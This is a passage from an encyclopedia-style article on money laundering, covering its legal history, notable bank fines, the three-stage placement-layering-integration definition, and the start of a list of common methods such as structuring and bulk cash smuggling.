In the 1980s, the war on drugs led governments again to turn to money-laundering rules in an attempt to seize proceeds of drug crimes in order to catch the organizers and individuals running drug empires. It also had the benefit from a law enforcement point of view of turning rules of evidence upside down. Law enforcers normally have to prove an individual is guilty to get a conviction. But with money laundering laws, money can be confiscated and it is up to the individual to prove that the source of funds is legitimate if they want the funds back. This makes it much easier for law enforcement agencies and provides for much lower burdens of proof.
The September 11 attacks in 2001, which led to the Patriot Act in the U.S. and similar legislation worldwide, led to a new emphasis on money laundering laws to combat terrorism financing.[5] The Group of Seven (G7) nations used the Financial Action Task Force on Money Laundering to put pressure on governments around the world to increase surveillance and monitoring of financial transactions and share this information between countries. Starting in 2002, governments around the world upgraded money laundering laws and surveillance and monitoring systems of financial transactions. Anti-money laundering regulations have become a much larger burden for financial institutions and enforcement has stepped up significantly. During 2011–2015 a number of major banks faced ever-increasing fines for breaches of money laundering regulations. This included HSBC, which was fined $1.9 billion in December 2012, and BNP Paribas, which was fined $8.9 billion in July 2014 by the U.S. government.[6] Many countries introduced or strengthened border controls on the amount of cash that can be carried and introduced central transaction reporting systems where all financial institutions have to report all financial transactions electronically. For example, in 2006, Australia set up the AUSTRAC system and required the reporting of all financial transactions.[7]
Definition [ edit ]
Placing "dirty" money in a service company, where it is layered with legitimate income and then integrated into the flow of money, is a common form of money laundering.
The conversion or transfer of property, the concealment or disguising of the nature of the proceeds, the acquisition, possession or use of property, knowing that these are derived from criminal activity and participate or assist the movement of funds to make the proceeds appear legitimate is money laundering.
Money obtained from certain crimes, such as extortion, insider trading, drug trafficking, and illegal gambling is "dirty" and needs to be "cleaned" to appear to have been derived from legal activities, so that banks and other financial institutions will deal with it without suspicion. Money can be laundered by many methods which vary in complexity and sophistication.
Money laundering involves three steps: The first involves introducing cash into the financial system by some means ("placement"); the second involves carrying out complex financial transactions to camouflage the illegal source of the cash ("layering"); and finally, acquiring wealth generated from the transactions of the illicit funds ("integration"). Some of these steps may be omitted, depending upon the circumstances. For example, non-cash proceeds that are already in the financial system would not need to be placed.[8]
According to the United States Treasury Department:
Money laundering is the process of making illegally-gained proceeds (i.e., "dirty money") appear legal (i.e., "clean"). Typically, it involves three steps: placement, layering, and integration. First, the illegitimate funds are furtively introduced into the legitimate financial system. Then, the money is moved around to create confusion, sometimes by wiring or transferring through numerous accounts. Finally, it is integrated into the financial system through additional transactions until the "dirty money" appears "clean".[9]
Methods [ edit ]
Money laundering can take several forms, although most methods can be categorized into one of a few types. These include "bank methods, smurfing [also known as structuring], currency exchanges, and double-invoicing".[10]
Structuring: Often known as smurfing, this is a method of placement whereby cash is broken into smaller deposits of money, used to defeat suspicion of money laundering and to avoid anti-money laundering reporting requirements. A sub-component of this is to use smaller amounts of cash to purchase bearer instruments, such as money orders, and then ultimately deposit those, again in small amounts. [11]
, this is a method of placement whereby cash is broken into smaller deposits of money, used to defeat suspicion of money laundering and to avoid anti-money laundering reporting requirements. A sub-component of this is to use smaller amounts of cash to purchase bearer instruments, such as money orders, and then ultimately deposit those, again in small amounts. Bulk cash smuggling: This involves physically smuggling cash to another jurisdiction and depositing it in a financial institution, such as an offshore bank, with greater bank secrecy or less rigorous money laundering enforcement. [12]
Cash-intensive businesses: In this method, a business typically expected to receive a large proportion of its revenue as cash uses its accounts to deposit criminally derived cash. Such enterprises often operate openly and in |
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